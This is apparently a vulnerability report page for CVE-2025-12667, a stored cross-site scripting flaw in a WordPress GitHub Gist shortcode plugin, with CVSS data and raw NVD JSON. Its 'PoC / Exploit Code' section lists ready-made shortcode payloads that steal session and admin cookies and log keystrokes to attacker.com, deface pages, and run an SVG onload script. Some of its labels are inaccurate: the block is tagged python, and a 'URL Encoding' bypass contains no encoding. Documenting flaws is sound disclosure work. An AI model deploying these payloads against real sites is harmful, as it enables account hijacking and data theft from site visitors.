Security Vulnerability Report
中文
CVE-2025-12667 CVSS 6.4 MEDIUM

CVE-2025-12667

Published: 2025-11-11 04:15:49
Last Modified: 2026-04-15 00:35:42

Description

The GitHub Gist Shortcode Plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter of the 'gist' shortcode in all versions up to, and including, 0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

GitHub Gist Shortcode Plugin for WordPress <= 0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress GitHub Gist Shortcode Plugin XSS PoC --> <!-- Requires Contributor-level or higher access --> <!-- Basic XSS Payload --> [gist id='<script>alert(document.cookie)</script>'] <!-- Steal Session Cookie --> [gist id='<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">'] <!-- Keylogger Payload --> [gist id='<script>document.addEventListener('keypress',function(e){new Image().src='https://attacker.com/log?k='+e.key})</script>'] <!-- Defacement Payload --> [gist id='<script>document.body.innerHTML='<h1>Hacked</h1>'</script>'] <!-- Bypass Basic Filters (URL Encoding) --> [gist id='<svg onload=alert(1)>'] <!-- PoC for Admin Cookie Theft --> [gist id='<script>fetch('https://attacker.com/admin_panel?cookie='+btoa(document.cookie),{method:'GET',mode:'no-cors'})</script>']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12667", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:49.260", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GitHub Gist Shortcode Plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter of the 'gist' shortcode in all versions up to, and including, 0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/github-gist-shortcode/tags/0.2/github-gist-shortcode-plugin.php#L33", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/github-gist-shortcode/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fc6468bf-37b6-4dd7-b2e5-e880e3cc3c32?source=cve", "source": "[email protected]"}]}}